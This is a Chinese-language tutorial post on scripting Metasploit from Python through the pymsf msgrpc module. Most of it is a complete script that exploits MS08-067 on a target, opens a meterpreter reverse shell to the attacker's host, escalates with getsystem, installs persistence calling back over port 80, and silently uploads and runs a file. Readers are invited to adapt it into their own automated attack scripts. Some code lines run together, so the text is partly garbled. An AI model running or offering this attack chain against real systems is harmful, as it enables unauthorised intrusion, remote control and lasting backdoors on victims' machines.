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pymsf是著名安全研究團(tuán)隊(duì)Spiderlabs實(shí)現(xiàn)的一個(gè)Python與Metasploit msgrpc進(jìn)行通信的python模塊，通過(guò)它，你可以利用Python玩轉(zhuǎn)滲透測(cè)試框架Metasploit。
使用步驟
首先你需要先啟動(dòng)msgrpc服務(wù)，命令如下:
load msgrpc Pass=
與msgrpc進(jìn)行通信其實(shí)就是與msfconsole進(jìn)行通信，首先你需要?jiǎng)?chuàng)建一個(gè)msfrpc的類,登錄到msgrpc服務(wù)器并且創(chuàng)建一個(gè)虛擬的終端,然后你就可以在你創(chuàng)建的虛擬終端上面執(zhí)行多個(gè)命令的字符串.你可以調(diào)用模塊的方法與console.write執(zhí)行命令,并且通過(guò)"console.read"從虛擬終端上面讀取輸入的值.這篇文章將演示如何使用pymsf模塊并且如何開(kāi)發(fā)出一個(gè)完整的腳本.
這里有一個(gè)函數(shù)它創(chuàng)建了一個(gè)msfrpc實(shí)例,登錄到msgrpc服務(wù)器,并且創(chuàng)建了一個(gè)虛擬終端.
def sploiter(RHOST, LHOST, LPORT, session):
client = msfrpc.Msfrpc({})
client.login('msf', '123')
ress = client.call('console.create')
console_id = ress['id']下一步就是實(shí)現(xiàn)把多個(gè)字符串發(fā)給虛擬終端,通過(guò)console.write和console.read在虛擬終端顯示與讀取:
## Exploit MS08-067 ##
commands = """use exploit/windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp set RHOST """+RHOST+""" set LHOST """+LHOST+""" set LPORT """+LPORT+""" set ExitOnSession false exploit -z """print "[+] Exploiting MS08-067 on: "+RHOST client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')上面的這一小段代碼創(chuàng)建了一個(gè)MSF的資源文件,這樣你就可以通過(guò)"resoucen"命令去執(zhí)行指定文件里面中一系列的命令。
下面我們將通過(guò)"getsystem"命令把這個(gè)文件的提權(quán),建立一個(gè)后門打開(kāi)80端口來(lái)轉(zhuǎn)發(fā).并且永久的運(yùn)行.最后上傳我們的漏洞exp并且在命令模式下面悄悄的安裝:
# 這個(gè)函數(shù)會(huì)創(chuàng)建一個(gè)MSF .rc文件def builder(RHOST, LHOST, LPORT):
post = open('/tmp/smbpost.rc', 'w')
bat = open('/tmp/ms08067_install.bat', 'w')
postcomms = """getsystem run persistence -S -U -X -i 10 -p 80 -r """+LHOST+""" cd c:\\ upload /tmp/ms08067_patch.exe c:\\ upload /tmp/ms08067_install.bat c:\\ execute -f ms08067_install.bat """
batcomm = "ms08067_patch.exe /quiet"
post.write(postcomms); bat.write(batcomm)
post.close(); bat.close()通過(guò)上面的那段代碼,將會(huì)創(chuàng)建一個(gè).rc的文件.通過(guò)msf模塊“post/multi/gather/run_console_rc_file”在當(dāng)前的meterpreter會(huì)話中運(yùn)行生成的文件,并且通過(guò)console.write命令從虛擬終端寫入數(shù)據(jù),通過(guò)console.read命令來(lái)回顯返回內(nèi)容:
## 運(yùn)行生成的exp ##
runPost = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpost.rc set SESSION """+session+""" exploit """
print "[+] Running post-exploit script on: "+RHOST client.call('console.write',[console_id,runPost])
rres = client.call('console.read',[console_id])## Setup Listener for presistent connection back over port 80 ##
sleep(10)
listen = """use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 80 set LHOST """+LHOST+""" exploit """print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])print lres上面代碼中的變量(RHOST, LHOST,LPORT等)都是通過(guò)optparse模塊從命令終端輸入的,完整的腳本托管在github上面,有時(shí)候你需要知道腳本的生成的地方都是靜態(tài)地址,不會(huì)在其他的目錄生成,例如ms08067的補(bǔ)丁就會(huì)在你的/tmp/目錄下面。
大家只要知道基礎(chǔ)然后對(duì)下面的代碼進(jìn)行一定的修改就可以編程一個(gè)屬于你自己的msf自動(dòng)化攻擊腳本,我們建議通過(guò)博客里面發(fā)表的一些簡(jiǎn)單的例子出發(fā),然后自己寫一個(gè)msf攻擊腳本:
import os, msfrpc, optparse, sys, subprocess from time import sleep # Function to create the MSF .rc filesdef builder(RHOST, LHOST, LPORT):
post = open('/tmp/smbpost.rc', 'w')
bat = open('/tmp/ms08067_install.bat', 'w')
postcomms = """getsystem run persistence -S -U -X -i 10 -p 80 -r """+LHOST+""" cd c:\\ upload /tmp/ms08067_patch.exe c:\\ upload /tmp/ms08067_install.bat c:\\ execute -f ms08067_install.bat """
batcomm = "ms08067_patch.exe /quiet"
post.write(postcomms); bat.write(batcomm)
post.close(); bat.close()# Exploits the chain of rc files to exploit MS08-067, setup persistence, and patchdef sploiter(RHOST, LHOST, LPORT, session):
client = msfrpc.Msfrpc({})
client.login('msf', '123')
ress = client.call('console.create')
console_id = ress['id']## Exploit MS08-067 ##
commands = """use exploit/windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp set RHOST """+RHOST+""" set LHOST """+LHOST+""" set LPORT """+LPORT+""" set ExitOnSession false exploit -z """
print "[+] Exploiting MS08-067 on: "+RHOST client.call('console.write',[console_id,commands])
res = client.call('console.read',[console_id])
result = res['data'].split('\n')## Run Post-exploit script ##
runPost = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpost.rc set SESSION """+session+""" exploit """
print "[+] Running post-exploit script on: "+RHOST client.call('console.write',[console_id,runPost])
rres = client.call('console.read',[console_id])## Setup Listener for presistent connection back over port 80 ##
sleep(10)
listen = """use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 80 set LHOST """+LHOST+""" exploit """
print "[+] Setting up listener on: "+LHOST+":80"
client.call('console.write',[console_id,listen])
lres = client.call('console.read',[console_id])
print lres def main():
parser = optparse.OptionParser(sys.argv[0] +\ ' -p LPORT -r RHOST -l LHOST')
parser.add_option('-p', dest='LPORT', type='string', \ help ='specify a port to listen on')
parser.add_option('-r', dest='RHOST', type='string', \ help='Specify a remote host')
parser.add_option('-l', dest='LHOST', type='string', \ help='Specify a local host')
parser.add_option('-s', dest='session', type='string', \ help ='specify session ID')
(options, args) = parser.parse_args()
session=options.session RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT if (RHOST == None) and (LPORT == None) and (LHOST == None):
print parser.usage sys.exit(0)
builder(RHOST, LHOST, LPORT)
sploiter(RHOST, LHOST, LPORT, session)if __name__ == "__main__":
main() 名稱欄目：教你用Python玩轉(zhuǎn)神器Metasploit
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